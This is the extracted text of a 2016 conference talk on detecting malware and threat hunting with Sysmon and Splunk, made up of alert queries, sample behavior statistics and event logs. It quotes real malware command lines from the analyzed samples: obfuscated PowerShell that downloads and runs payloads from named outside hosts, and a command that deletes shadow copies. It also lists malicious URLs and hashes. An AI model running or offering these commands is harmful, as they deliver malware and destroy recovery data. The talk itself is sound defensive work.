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 Tom Ueltschi 

 Swiss Post CERT / SOC / CSIRT, since 2007 

– Focus: Malware Analysis, Threat Intel, Threat Hunting, Red Teaming 

 Talks about «Ponmocup Hunter» (Botconf, DeepSec, SANS DFIR Summit) 

 Member of many trust groups / infosec communities 

 Twitter: @c_APT_ure 
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 Views & opinions expressed are my own 

 Work presented is from $dayjob 

– past 6-8 months, ongoing 

– examples, ideas, process, methodology 

– not a finished «solution» or «product» 

– approach for others (analysts) to adopt 

Fast paced talk ahead – fasten your seat belts!  
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 Introduction on Sysmon 

 How dou you know «Evil»? (malicious) 

 Searching for «known bad» 

 Threat Hunting approaches 
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Outline (v0.1) 
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 Introduction on Sysmon 

 Sources for «knowing Evil» 

– Searching for «known bad» 

– OSINT, blogs, reports, public sandboxes, VT 

– Malware Analysis of self discovered samples 

– Threat Hunting approaches 

– Red/Purple Teaming / Adversary Simulation 
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Outline (v1.0) 
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 This presentation will give an overview and 
detailed examples on how to use the free 
Sysinternals tool SYSMON to greatly improve 
host-based incident detection and enable threat 
hunting approaches. 

 The main goal is to share an approach, a 
methodology how to greatly improve host-
based detection by using Sysmon and Splunk to 
create alerts. 
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Goal of Talk (Abstract) 
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Introduction on Sysmon 
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   This talk is about Host-based Detection 

Network-based Host-based 

Prevention Firewalls 
Network IPS 
BDS, Web-Proxy + AV/Mail-GW + AV 

Antivirus 
HIPS, EMET 
Next-Gen Endpoint Protection 

Detection Network IDS (Snort, Surricata, Bro) 
NSM 
BDS 

EDR (Carbon-Black et.al.) 
HIDS (?) 
Sysmon and SIEM (Splunk) 
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Setting the stage… 

Botconf 2016 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE 



 

 Network-based Detection (NBD) 

– Intrusion Detection System (IDS) / Network Security Monitoring (NSM) 

– Snort, Surricata , Bro, Security Onion … 

 Host-based Detection (HBD) 

– Endpoint Detection and Response (EDR) 

– Carbon Black, FireEye HX, CrowdStrike Falcon, Tanium, RSA ECAT … 

– Sysmon (FREE) & Splunk (or any other SIEM) 

 Open for discussion 

– Is one of {NBD, HBD} enough, better, or are both needed? 

 Seite 9 

Network- or Host-based Detection? 
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Bro : NBD :: Sysmon+Splunk : HBD 
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Bro : NBD :: Sysmon+Splunk : HBD 
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Sysmon / Event Logs 
Data sent to SIEM 

Splunk> 
Query Language 

Splunk searches, 
Alerts, Hunting 
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Pyramid of Pain 
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I want to be able 
to detect this! 
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Cyber Kill Chain 

Botconf 2016 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE 

I want to be able 
to detect this! 

The only mention 
of «Cyber» 
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Pyramid of Pain & Kill Chain 
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 Incredible visibility into system activity on Windows hosts (it’s FREE) 

 Store Sysmon data in Windows event logs (big size) 

– Search or query Sysmon data using Powershell or event viewer 

 Collect Sysmon logs into SIEM for searching, alerting, hunting (big plus) 

 Analyst needs to … 

– know what to search for 

– distinguish normal / abnormal activity 

– find suspicious / malicious behavior 
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Why using Sysmon? 

Botconf 2016 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE 



Botconf 2016 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE  Seite 16 

Why Sysmon? RSA Con Talk M.R. 
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Why Sysmon? RSA Con Talk M.R. 

DLL / Proc 
Injection 

Time 
stomping 
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Why Sysmon? RSA Con Talk M.R. 



Windows Host 
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Sysmon / Splunk Deployment 

Sysmon 

Windows Event Log 

Splunk 
Forwarder 

Sysmon-config.xml Windows\local\inputs.conf 
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How dou you know «Evil»? 
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Source: OSINT / public sources 
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How do you know Evil? (DFIR Poster) 
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How do you know Evil? (DFIR Poster) 
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Advanced Detection (ab-normal svchost.exe) 

 

alert_sysmon_suspicious_svchost 

 

index=sysmon SourceName="Microsoft-Windows-Sysmon"  

    EventCode=1 svchost.exe 

| search Image="*\\svchost.exe*"  

    CommandLine!="* -k *" OR  

    (Image!="C:\\Windows\\System32\\svchost.exe"  

     Image!="C:\\Windows\\SysWOW64\\svchost.exe") OR  

    ParentImage!="C:\\Windows\\system32\\services.exe"  

 

 Search for «svchost.exe» process created 

 Without « -k » parameter 

 Parent process is not «services.exe» 

 Running under wrong path 

 (extra: whitelist for known good Hashes or IMPHASH-es) 
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How do you know Evil? (OSINT) 
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How do you know Evil? (OSINT) 
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Advanced Detection (Adwind RAT) 
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Advanced Detection (Adwind RAT) 
alert_sysmon_java-malware-infection 

 

index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode="1"  

  (Users AppData Roaming (javaw.exe OR xcopy.exe)) OR (cmd cscript vbs) 

| search Image="*\\AppData\\Roaming\\Oracle\\bin\\java*.exe*"  

  OR (Image="*\\xcopy.exe*" CommandLine="*\\AppData\\Roaming\\Oracle\\*") 

  OR CommandLine="*cscript*Retrive*.vbs*" 
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Advanced Detection (Adwind RAT) 
alert_sysmon_persistence_reg_add 

 

index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode="1"  

    reg.exe add CurrentVersion 

| search  

    Image="*\\reg.exe"  

    CommandLine="* add *" CommandLine="*CurrentVersion\\Run*" 
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How do you know Evil? (OSINT) 
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How do you know Evil? (OSINT) 
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How do you know Evil? (OSINT) 

First submission: 
2016-10-26 



Same sample as 
on ISC SANS blog 
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Advanced Detection (Hancitor) 
 

Hancitor samples using process injection (hollowing) 
 

PROC: Office spawns explorer.exe for process injection 
 

aca3daf2d346dc9f1d877f53cfa93e6e  irs_scanned__899383.doc  (2016-10-20) 

b41f2365f8a44305bdc0e485100b3a0c  swisssign.com_irs_subpoena.doc (2016-10-24) 

5d3a733a05ee7e016ce9bd1789dfb993  statement_post.ch_83780.doc  (2016-10-25) 

b107f3235057bb2b06283030be8f26e4  billing_doc_83343.doc  (2016-10-26) 

55f5f681aad3f63b575d69703c53c8b1  subpoena_epaynet.com.doc  (2016-10-31) 

88d60c264a9c3426c081a2cb56e3a879  order_631085.doc  (2016-11-07) 

9d54e3bf831a159032ad86bbf0413a30  contract_154727.doc (2016-11-10) 
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Advanced Detection (Hancitor) 
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Advanced Detection (Hancitor) 
alert_office_spawn_system_process 

 

index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode="1"  

    explorer.exe OR svchost.exe 

| search (Image="*\\explorer.exe" OR Image="*\\svchost.exe") 

    (ParentImage="*\\winword.exe" OR ParentImage="*\\excel.exe") 

 

 Some false hits from «excel.exe» (needs tuning) 
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Advanced Detection (Hancitor) 
alert_office_process_injection 

 

index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode="8"  

    explorer.exe OR svchost.exe 

| search  

    (TargetImage="*\\explorer.exe" OR TargetImage ="*\\svchost.exe") 

    (SourceImage="*\\winword.exe" OR SourceImage="*\\excel.exe") 

 

 No false hits from process injection 
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Source: Malware Analysis (own samples) 
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Automating Malware Analysis 

Input: 
Email w/ attach(s) 
File (exe, doc) 

Sandbox 
Analysis 

Sandbox results: 
- Report (HTML, XML, JSON) 
- Network traffic (PCAP) 
- Dropped / Downloaded Files 
- Memory- & File-Strings 
- Sandbox Signatures 

Post Processing 
- XML Report & xquilla & xpath  files-, reg keys-, mutexes-, proc’s created 
- PCAP & tshark  DNS-, HTTP-requests, TCP connections (non-std ports) 
- Yara rules & Files, PCAP, mem strings  File / Memory / Network patterns 
- VirusTotal Filehash lookups, sample submits (optional)  AV detections 
 

Behavior Analysis (Proc’s, Files, Reg keys, Network, Persistence) 

Sysmon Data in SIEM (Splunk) 
Behaviors (Proc’s)  Search Queries  Alerts & Hunting 
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Automating Malware Analysis 

 

 180 Behavior Rules 
 

   21 FILE – file system 

    8 NET  - network 

   20 PERS – persistence methods 

   52 PROC – process activity 

    4 REG  - registry activity 

   21 SIG  - sandbox signature 

   54 YARA – YARA rule matches (file, memory, pcap) 

 



 

 

Java RAT (Adwind) behavior analysis 

 

132 JAR samples analyzed 

 

122 PERS: calls 'reg add' to create '..\CurrentVersion\Run' key 

 (2015-01-05 - …) 

 15 PERS: creates reg key 'CurrentVersion\Run' to exec malware in '%APPDATA%' 

 

113 PROC: started 'java*.exe' from %APPDATA%\Oracle [Java RAT Adwind] 

 (2015-10-05 - …) 

118 PROC: uses 'xcopy' to copy JRE to %APPDATA%\Oracle [Java RAT Adwind] 

 (2015-10-18 - …) 

 

 18 YARA: pcap_java_rat_unknown_1 

 34 YARA: pcap_java_rat_unknown_2 

 

 24 NET: using non-std TCP ports (not http[s], smtp, 587) - likely RATs 
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Detecting Java RATs (Adwind) 
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CommandLine: <PATH-TO-EXE>\*.exe /stext <PATH-TO-TXT>\*.txt 
 

memstr_Limitless_Logger     30 

    logff.txt, logmail.txt 
 

memstr_Predator_Pain        149 

    holdermail.txt, holderwb.txt,  

    holderskypeview.txt, holderprodkey.txt 
 

memstr_HawkEye_Keylogger    134 

    holdermail.txt, holderwb.txt, Mail.txt, Web.txt 
 

memstr_iSpy_Logger          5 

    Browser.txt, Mail.txt 
 

memstr_KeyBase_Keylogger    36 

    Mails.txt, Browsers.txt 
 

 347 samples  (abusing NirSoft Tools for password «recovery») 
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Detecting Keyloggers 
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KeyBase Keylogger (OSINT) 
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KeyBase Keylogger (OSINT) 
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iSpy Keylogger (OSINT) 
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iSpy Keylogger (OSINT) 



 

 

 

 

CommandLine: <PATH-TO-EXE>\*.exe /stext <PATH-TO-TXT>\*.txt 

 

alert_sysmon_suspicious_stext_cmdline 

 

index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode="1" stext 

| search CommandLine="* /stext *" 

 

 No false hits in >5 months 
 

But why does it use «/stext» parameter ??? 
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Detecting Keyloggers 
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Detecting Keyloggers 
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Detecting Keyloggers 
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Detecting Keyloggers 
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Detecting Keyloggers 
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 Continuously (daily) analysing malspam samples 

– Ransomware (Locky, NELocker, Cerber, TeslaCrypt et.al.) 

 Know malicious behavior (e.g. process tree, command lines) 

 Detect changes in behavior, adjust searches & alerts accordingly 

 Comparing two Locky samples from April and August 2016 

– Behavior changed (Vssadmin vs. Rundll32) 
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Detecting Locky Ransomware 
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Locky analysis 2016-04-28 

* pid="808" / md5="628D9F2BA204F99E638A91494BE3648E" / parentpid="2600" 

  cmdline="C:\Users\admin\AppData\Local\Temp\nuNvDiKt.exe" 

* pid="3572" / md5="628D9F2BA204F99E638A91494BE3648E" / parentpid="808" 

  cmdline="C:\Users\admin\AppData\Local\Temp\nuNvDiKt.exe" 

* pid="3932" / md5="6E248A3D528EDE43994457CF417BD665" / parentpid="3572" 

  cmdline="vssadmin.exe Delete Shadows /All /Quiet" 

* pid="2480" / md5="F51D682701B303ED6CC5474CE5FA5AAA" / parentpid="3572" 

  cmdline="C:\Program Files\Mozilla Firefox\firefox.exe  -osint  

           -url  C:\Users\admin\Desktop\_HELP_instructions.html" 



 

 

 Locky calling vssadmin to delete shadow copies 

 

alert_sysmon_vssadmin_ransomware 
 

index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode=1  

    vssadmin.exe 

| search CommandLine="*vssadmin*"  

    CommandLine="*Delete *" CommandLine="*Shadows*" 
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Locky using Vssadmin 
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Locky analysis 2016-08-23 



 

 Rundll32 process with 

– DLL in «%TEMP%» folder and «qwerty» parameter 

– Office (macros) or scripting parent process (JS, VBS, WSF, HTA) 

 

alert_sysmon_suspicious_locky_rundll32 
 

index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode=1  

    rundll32.exe 

| search Image="*\\rundll32.exe"  

    (CommandLine="*\\AppData\\Local\\Temp*" CommandLine="*qwerty*") 

  OR 

    (ParentImage="*\\winword.exe" OR ParentImage="*\\excel.exe" OR 

     ParentImage="*\\cscript.exe" OR ParentImage="*\\wscript.exe" OR 

     ParentImage="*\\mshta.exe") 
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Locky using Rundll32 
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Locky behavior analysis 
 
 90 FILE: drops *.locky files [Locky]   (2016-02-15 - 2016-06-26) 

101 FILE: drops *.zepto files [Locky]   (2016-06-27 - 2016-09-25) 

 33 FILE: drops *.odin files [Locky]    (2016-09-27 - 2016-10-22) 
 

137 FILE: drops '_HELP_instructions.html' files [Ransomware] (… - 2016-09-25) 

 33 FILE: drops '_HOWDO_text.html' files [Ransomware] (2016-09-27 - …) 
 

 91 PROC: calls 'vssadmin.exe Delete Shadows /All /Quiet' to delete Shadow Copies 

 (2016-02-15 - 2016-06-26) 

130 PROC: rundll32 %TEMP%\*.dll qwerty (2016-08-22 - 2016-10-10) 

 11 PROC: uses 'PowerShell' with '-ExecutionPolicy bypass'  (2016-10-16 - …) 
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Detecting Locky Ransomware 
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Locky behavior analysis 
 
 82 YARA: pcap_ransom_locky_main_php              (2016-02-15 - 2016-03-24) 

 15 YARA: pcap_ransom_locky_submit_php            (2016-03-28 - 2016-04-21) 

 45 YARA: pcap_ransom_locky_userinfo_php          (2016-04-26 - 2016-05-29) 

  8 YARA: pcap_ransom_locky_access_cgi            (2016-05-29 - 2016-05-29) 

 59 YARA: pcap_ransom_locky_upload__dispatch_php  (2016-05-30 - 2016-08-01) 

 16 YARA: pcap_ransom_locky_php_upload_php        (2016-08-03 - 2016-08-18) 

 49 YARA: pcap_ransom_locky_data_info_php         (2016-08-22 - 2016-09-25) 

 53 YARA: pcap_ransom_locky_apache_handler_php    (2016-09-26 - 2016-10-22) 

 58 YARA: pcap_ransom_locky_linuxsucks_php        (2016-10-23 - 2016-11-01) 

 30 YARA: pcap_ransom_locky_message_php           (2016-11-01 - …) 

 

 29 YARA: pcap_ransom_locky_XORed_dll             (2016-09-04 - …) 
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Detecting Locky Ransomware 
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Locky behavior analysis 
 
 82 YARA: pcap_ransom_locky_main_php              (2016-02-15 - 2016-03-24) 

 15 YARA: pcap_ransom_locky_submit_php            (2016-03-28 - 2016-04-21) 

 45 YARA: pcap_ransom_locky_userinfo_php          (2016-04-26 - 2016-05-29) 

  8 YARA: pcap_ransom_locky_access_cgi            (2016-05-29 - 2016-05-29) 

 59 YARA: pcap_ransom_locky_upload__dispatch_php  (2016-05-30 - 2016-08-01) 

 16 YARA: pcap_ransom_locky_php_upload_php        (2016-08-03 - 2016-08-18) 

 49 YARA: pcap_ransom_locky_data_info_php         (2016-08-22 - 2016-09-25) 

 53 YARA: pcap_ransom_locky_apache_handler_php    (2016-09-26 - 2016-10-22) 

 58 YARA: pcap_ransom_locky_linuxsucks_php        (2016-10-23 - 2016-11-01) 

 30 YARA: pcap_ransom_locky_message_php           (2016-11-01 - 2016-11-07) 

 

 29 YARA: pcap_ransom_locky_XORed_dll             (2016-09-04 - …) 
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Detecting Locky Ransomware 
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Update from 2016-10-24:  new Locky variant 
 
FILE: drops *.shit files [Locky] 

FILE: drops '_WHAT_is.html' files [Ransomware] 

PROC: uses 'PowerShell' obfuscation with '^' 

PROC: rundll32 %TEMP%\*.dll EnhancedStoragePasswordConfig 

YARA: pcap_ransom_locky_linuxsucks_php 



 

Locky behavior analysis 
 
 82 YARA: pcap_ransom_locky_main_php              (2016-02-15 - 2016-03-24) 

 15 YARA: pcap_ransom_locky_submit_php            (2016-03-28 - 2016-04-21) 

 45 YARA: pcap_ransom_locky_userinfo_php          (2016-04-26 - 2016-05-29) 

  8 YARA: pcap_ransom_locky_access_cgi            (2016-05-29 - 2016-05-29) 

 59 YARA: pcap_ransom_locky_upload__dispatch_php  (2016-05-30 - 2016-08-01) 

 16 YARA: pcap_ransom_locky_php_upload_php        (2016-08-03 - 2016-08-18) 

 49 YARA: pcap_ransom_locky_data_info_php         (2016-08-22 - 2016-09-25) 

 53 YARA: pcap_ransom_locky_apache_handler_php    (2016-09-26 - 2016-10-22) 

 58 YARA: pcap_ransom_locky_linuxsucks_php        (2016-10-23 - 2016-11-01) 

 30 YARA: pcap_ransom_locky_message_php           (2016-11-01 - 2016-11-07) 

 

 29 YARA: pcap_ransom_locky_XORed_dll             (2016-09-04 - ..) 
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Detecting Locky Ransomware 
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Update from 2016-10-24:  new Locky variant 
 
FILE: drops *.shit files [Locky] 

FILE: drops '_WHAT_is.html' files [Ransomware] 

PROC: uses 'PowerShell' obfuscation with '^' 

PROC: rundll32 %TEMP%\*.dll EnhancedStoragePasswordConfig 

YARA: pcap_ransom_locky_9  ("/linuxsucks.php") 

Update from 2016-10-26:  new Locky variant 
 
FILE: drops *.thor files [Locky] 

FILE: drops '_WHAT_is.html' files [Ransomware] 

PROC: uses 'PowerShell' obfuscation with '^' 

PROC: rundll32 %TEMP%\*.dll EnhancedStoragePasswordConfig 

YARA: pcap_ransom_locky_linuxsucks_php 



 

Locky behavior analysis 
 
 82 YARA: pcap_ransom_locky_main_php              (2016-02-15 - 2016-03-24) 

 15 YARA: pcap_ransom_locky_submit_php            (2016-03-28 - 2016-04-21) 

 45 YARA: pcap_ransom_locky_userinfo_php          (2016-04-26 - 2016-05-29) 

  8 YARA: pcap_ransom_locky_access_cgi            (2016-05-29 - 2016-05-29) 

 59 YARA: pcap_ransom_locky_upload__dispatch_php  (2016-05-30 - 2016-08-01) 

 16 YARA: pcap_ransom_locky_php_upload_php        (2016-08-03 - 2016-08-18) 

 49 YARA: pcap_ransom_locky_data_info_php         (2016-08-22 - 2016-09-25) 

 53 YARA: pcap_ransom_locky_apache_handler_php    (2016-09-26 - 2016-10-22) 

 58 YARA: pcap_ransom_locky_linuxsucks_php"        (2016-10-23 - 2016-11-01) 

 30 "YARA: pcap_ransom_locky_message_php"           (2016-11-01 - 2016-11-07) 

 

 29 "YARA: pcap_ransom_locky_XORed_dll"             (2016-09-04 - ..) 
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Detecting Locky Ransomware 
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Update from 2016-11-08:  changing DLL func’s frequently 
 
PROC: rundll32 %TEMP%\*.dll test123   (2016-11-01) 

PROC: rundll32 %TEMP%\*.dll runrun    (2016-11-01) 

PROC: rundll32 %TEMP%\*.dll text      (2016-11-02) 

PROC: rundll32 %TEMP%\*.dll GetLine   (2016-11-03) 

PROC: rundll32 %TEMP%\*.44  text      (2016-11-03) 

PROC: rundll32 %TEMP%\*.dll SetText   (2016-11-06) 

PROC: rundll32 %TEMP%\*.dll woody     (2016-11-07) 

PROC: rundll32 %TEMP%\*.dll makefile  (2016-11-07) 

PROC: rundll32 %TEMP%\*.dll set       (2016-11-08) 

PROC: rundll32 %TEMP%\*.dll nipple    (2016-11-08) 



Everybody 

 

PowerShell 
 Seite 72 

Detecting malicious Powershell 
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Malicious PowerShell 

Behavior Analysis: 
 

FILE: drops '_HOWDO_text.html' files [Ransomware] 

FILE: drops *.odin files [Locky] 

PROC: uses 'PowerShell' WebClient.DownloadFile() 

PROC: uses 'PowerShell' obfuscation with '^' 

PROC: uses 'PowerShell' with '-ExecutionPolicy bypass' 

YARA: pcap_ransom_locky_apache_handler_php 
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Malicious PowerShell 

Behavior Analysis: 
 

FILE: drops '_HOWDO_text.html' files [Ransomware] 

FILE: drops *.odin files [Locky] 

PROC: uses 'PowerShell' WebClient.DownloadFile() 

PROC: uses 'PowerShell' obfuscation with '^' 

PROC: uses 'PowerShell' with '-ExecutionPolicy bypass' 

YARA: pcap_ransom_locky_apache_handler_php 

--- mail headers --- 

Date: Mon, 17 Oct 2016 00:27:44 -0000 

From: <eeaquaforest.pad@submitpad.org> 

Subject: 72080482 fourier 

 

--- mail attachments (spaces replaced with [_X]) --- 

cf890dc75d01f4bbb5150d1a7d8a4a49  ./EMAIL_89716306_fourier.zip 

2568bd90c574056ea3590aabfb2e6489  ./3.zip 

28a262ca87456fe1278dde4a134084d5  ./ORDER_802.js 

 

--- executables dropped --- 

3e6bf00b3ac976122f982ae2aadb1c51  dropped/System.dll 

5c6ad37916cfa9974e8cd4a6dc762221  dropped/Jellyfish.jpg 

f72f6608092d4844a29f581444a64828  dropped/Roaming.exe 

 

--- http traffic URLs --- 

hXXp://93.170.104[.]126/apache_handler.php 

hXXp://www.temporaryv[.]bid/user.php?f=1.dat 
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Malicious PowerShell 

 

PROC: uses 'PowerShell' WebClient.DownloadFile() 
 

PowerShelL.eXe    -exeCutionPOLICY bypaSs     -NoprofILe     -WiNDOWsTyle   

HiDdeN (neW-obJeCT   SYsTem.NeT.webCLieNT).dOwNLoadfile( 

'http://www.temporaryv.bid/user.php?f=1.dat' 

'C:\Users\********\AppData\Roaming.exe');StaRT-procesS 

C:\Users\********\AppData\Roaming.eXe 

 

index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode="1"  

    (powershell.exe OR cmd.exe) WebClient DownloadFile  

| search (Image="*\\powershell.exe" OR Image="*\\cmd.exe")  

    CommandLine="*WebClient*" CommandLine="*DownloadFile*"  
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Malicious PowerShell 
 

PROC: uses 'PowerShell' WebClient.DownloadFile() 
First seen: 2015-02-12  /  # samples:  81 
 

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile( 

'http://136.243.237.222:8080/hhacz45a/mnnmz.php' '%TEMP%\pJIOfdfs.exe'); 

Start-Process '%TEMP%\pJIOfdfs.exe'; 

 

PROC: uses 'PowerShell' with '-ExecutionPolicy bypass‘ 
First seen: 2015-03-03  /  # samples:  58 
 

powershell.exe -noexit -ExecutionPolicy bypass -noprofile -file 

C:\Users\*******\AppData\Local\Temp\adobeacd-update.ps1 

 

PROC: uses 'PowerShell' obfuscation with '^‘ 
First seen: 2016-09-30  /  # samples:  41 
 

cmd.exe  /C POwER^S^He^LL.exE     -Exe^CuTI^o^npOlic^Y ^bY^P^A^sS      

^-^Nop^r^ofiLe^    -W^I^N^d^oWstylE  HI^Dden     (^neW^-o^BJ^Ect  

SY^sT^Em.n^E^T.^WEBCL^i^EN^T^).DOWN^LOa^Dfi^LE(^ 

'http://caopdjow.top/user.php?f=1.dat' 'C:\Users\*****\AppData\Roaming.EXE'); 

^sTAr^t-pR^ocess^ 'C:\Users\*****\AppData\Roaming.EXe' 



Query doesn’t match 
«DownloadFile» 
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Malicious PowerShell 
 

index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode="1"  

    (powershell.exe OR cmd.exe) WebClient DownloadFile  

| search (Image="*\\powershell.exe" OR Image="*\\cmd.exe")  

    CommandLine="*WebClient*" CommandLine="*DownloadFile*"  

 
 

"C:\Windows\System32\cmd.exe" /c powershell -command (("New-Object 

Net.WebClient")).("'Do' + 'wnloadfile'").invoke( 

'http://unofficialhr.top/tv/homecooking/tenderloin.php', 

'C:\Users\***\AppData\Local\Temp\spasite.exe'); & 

"C:\Users\***\AppData\Local\Temp\spasite.exe" 

 

LNK with Powershell command 

- embedded in DOCX file (oleObject.bin) 

 

Sample from 2016-11-10 

efd6071f0e65e1feef36ffdb228c2a23  Copy of bill #BT138.docx 

 

Process tree: 

  * WINWORD.EXE 

      o cmd.exe 

          # powershell.exe 



Remove all 
obfuscation chars 
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Malicious PowerShell 
 

index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode="1"  

    (powershell.exe OR cmd.exe) 

| eval CommandLine2=replace(CommandLine,"[ '+\"\^]","") 

| search (Image="*\\powershell.exe" OR Image="*\\cmd.exe")  

    CommandLine2="*WebClient*" CommandLine2="*DownloadFile*"  

 
 

"C:\Windows\System32\cmd.exe" /c powershell -command (("New-Object 

Net.WebClient")).("'Do' + 'wnloadfile'").invoke( 

'http://unofficialhr.top/tv/homecooking/tenderloin.php', 

'C:\Users\***\AppData\Local\Temp\spasite.exe'); & 

"C:\Users\***\AppData\Local\Temp\spasite.exe" 

 

CommandLine2: 

C:\Windows\System32\cmd.exe/cpowershell-command((New-ObjectNet.WebClient)). 

(Downloadfile).invoke(http://unofficialhr.top/tv/homecooking/tenderloin.php, 

C:\Users\purpural\AppData\Local\Temp\spasite.exe);& 

C:\Users\purpural\AppData\Local\Temp\spasite.exe 

 

 De-obfuscate simple obfuscation techniques 
 

Are all (obfuscation) problems solved? 
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Malicious PowerShell – or not? 



Query doesn’t match 
«DownloadFile» 

Botconf 2016 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE  Seite 80 

Malicious PowerShell 
 

cmd.exe  /c powershell -c $eba = ('exe'); $sad = ('wnloa'); (( New-Object 

Net.WebClient )).( 'Do' + $sad + 'dfile' ).invoke( 

'http://golub.histosol.ch/bluewin/mail/inbox.php' 

'C:\Users\*****\AppData\Local\Temp\doc.' + $eba); 

start('C:\Users\*****\AppData\Local\Temp\doc.' + $eba) 

 

«De-obfuscated»: 
 

powershell-c$eba=(exe);$sad=(wnloa);((New-ObjectNet.WebClient)).(Do$saddfile) 

.invoke(http://golub.histosol.ch/bluewin/mail/inbox.phpC:\Users\*****\AppData

\Local\Temp\doc.$eba); start(C:\Users\*****\AppData\Local\Temp\doc.$eba) 

 

LNK with Powershell command 

- embedded in DOCX file (oleObject.bin) 

 

Sample from 2016-11-18 

d8af6037842458f7789aa6b30d6daefb  Abrechnung # 5616147.docx 

2b9c71fe5f121ea8234aca801c3bb0d9  Beleg Nr. 892234-32.lnk 

 

Strings from oleObject.bin: 

 E:\TEMP\G\18.11.16\ch1\golub\Beleg Nr. 892234-32.lnk 

 C:\Users\azaz\AppData\Local\Temp\Beleg Nr. 892234-32.lnk 
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Threat Hunting approaches 
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Defining Threat Hunting 
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Defining Threat Hunting 

Hunting always 
involves a human 
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Threat Hunting Project 
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Threat Hunting Project 
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Threat Hunting Project 
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Threat Hunting Project 
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Threat Hunting Project 
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Threat Hunting Project 

«Sysmon is a very good free tool that  
can do nearly anything you’d need» 
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Source: Adversary Simulation 
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Red Team / Adversary Simulation 
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Red Team / Adversary Simulation 

Advanced Threat 
Tactics video series 

(9 x 30-60 mins) 
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Red Team / Adversary Simulation 
PrivEsc & LatMov  
to own a network 

(think BloodHound) 
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Red Team / Adversary Simulation 

C&C can look like any 
«normal» HTTP traffic 

No IDS detections!! 
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Cobalt Strike Features 
Uses Powershell 

«whoami /groups» ? 
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Cobalt Strike Features 

Uses share: ADMIN$, C$, IPC$ 
Creates & starts new service 
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Cobalt Strike Features 

DLL / Process 
Injection 
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Cobalt Strike Features 

DLL / Process 
Injection 
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Cobalt Strike Features 

SMB traffic 
between WS 

Only one 
egress point 

SMB traffic 
between WS 



 

 Can you distinct between workstations and servers / NAS / filers? 

 Is SMB traffic between workstations (WS) normal? 

 Is «whoami /groups» normal activity from users / admins? 

 How common is DLL / process injection? (can be legit) 

– Can you distinguish benign from malicious injection? 

 How common is Powershell usage?  

– EncodedCommand?  Invoke-Expression (IEX)? 

– Parent processes / user accounts running legit Powershell? 

  Seite 100 

Getting ready to Hunt 
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SMB traffic between WS 
 

index=sysmon SourceName="Microsoft-Windows-Sysmon"  

    EventCode=3 Initiated=true SourceIp!=DestinationIp 

    DestinationPort=445 Image!=System  

    (SourceHostname="WS*" DestinationHostname="WS*") OR 

    (SourceIp="10.10.*.*" DestinationIp="10.10.*.*") 

| stats by ComputerName ProcessGuid  

| fields ComputerName ProcessGuid 
 

 Search for network connections 

 SMB protocol (dst port 445) 

 Source and destination are workstations (hostname or IP) 

 Use «ProcessGuid» to correlate with other event types (proc’s) 

 Search for legitimate SMB servers (filers, NAS) 

 Create «whitelist» to exclude as legit dest 
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Lateral Movement (admin shares) 
CS_Lateral_Movement_psexec 

 

10/18/2016 11:17:12 PM 

LogName=Microsoft-Windows-Sysmon/Operational 

SourceName=Microsoft-Windows-Sysmon 

EventCode=1 

EventType=4 

Type=Information 

... 

Message=Process Create: 

Image: \\127.0.0.1\ADMIN$\8c0cb58.exe 

CommandLine: \\127.0.0.1\ADMIN$\8c0cb58.exe 

CurrentDirectory: C:\Windows\system32\ 

User: NT AUTHORITY\SYSTEM 

IntegrityLevel: System 

ParentImage: C:\Windows\system32\services.exe 

ParentCommandLine: C:\Windows\System32\services.exe 

 

 Search for admin share names in image paths 
 

 

C:\Windows\system32\services.exe 

 \\127.0.0.1\ADMIN$\8c0cb58.exe 



Botconf 2016 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE  Seite 103 

Lateral Movement (admin shares) 
CS_Lateral_Movement_psexec 

 

10/18/2016 11:17:13 PM 

LogName=Microsoft-Windows-Sysmon/Operational 

SourceName=Microsoft-Windows-Sysmon 

EventCode=1 

EventType=4 

Type=Information 

... 

Message=Process Create: 

Image: C:\Windows\SysWOW64\rundll32.exe 

CommandLine: C:\Windows\System32\rundll32.exe 

CurrentDirectory: C:\Windows\system32\ 

User: NT AUTHORITY\SYSTEM 

IntegrityLevel: System 

ParentImage: \\127.0.0.1\ADMIN$\8c0cb58.exe 

ParentCommandLine: \\127.0.0.1\ADMIN$\8c0cb58.exe 

 

 Search for admin share names in image paths 
 

 

C:\Windows\system32\services.exe 

 \\127.0.0.1\ADMIN$\8c0cb58.exe 

 C:\Windows\system32\rundll32.exe 
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Lateral Movement (proc injection) 
CS_Lateral_Movement_psexec 

 

10/18/2016 11:17:13 PM 

LogName=Microsoft-Windows-Sysmon/Operational 

SourceName=Microsoft-Windows-Sysmon 

EventCode=8 

EventType=4 

Type=Information 

... 

Message=CreateRemoteThread detected: 

SourceProcessId: 29340 

SourceImage: \\127.0.0.1\ADMIN$\8c0cb58.exe 

TargetProcessId: 18476 

TargetImage: C:\Windows\SysWOW64\rundll32.exe 

NewThreadId: 20060 

StartAddress: 0x0000000000110000 

StartFunction: 

 

 Search for rarest source or target images from proc injection 
 

\\127.0.0.1\ADMIN$\8c0cb58.exe 

# C:\Windows\system32\rundll32.exe 
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Keylogger (proc injection) 
CS_Keylogger_injection 

 

10/26/2016 11:56:32 PM 

LogName=Microsoft-Windows-Sysmon/Operational 

SourceName=Microsoft-Windows-Sysmon 

EventCode=8 

EventType=4 

Type=Information 

... 

Message=CreateRemoteThread detected: 

SourceProcessId: 17728 

SourceImage: C:\Windows\SysWOW64\rundll32.exe 

TargetProcessId: 836 

TargetImage: C:\Windows\System32\winlogon.exe 

NewThreadId: 14236 

StartAddress: 0x0000000000C20000 

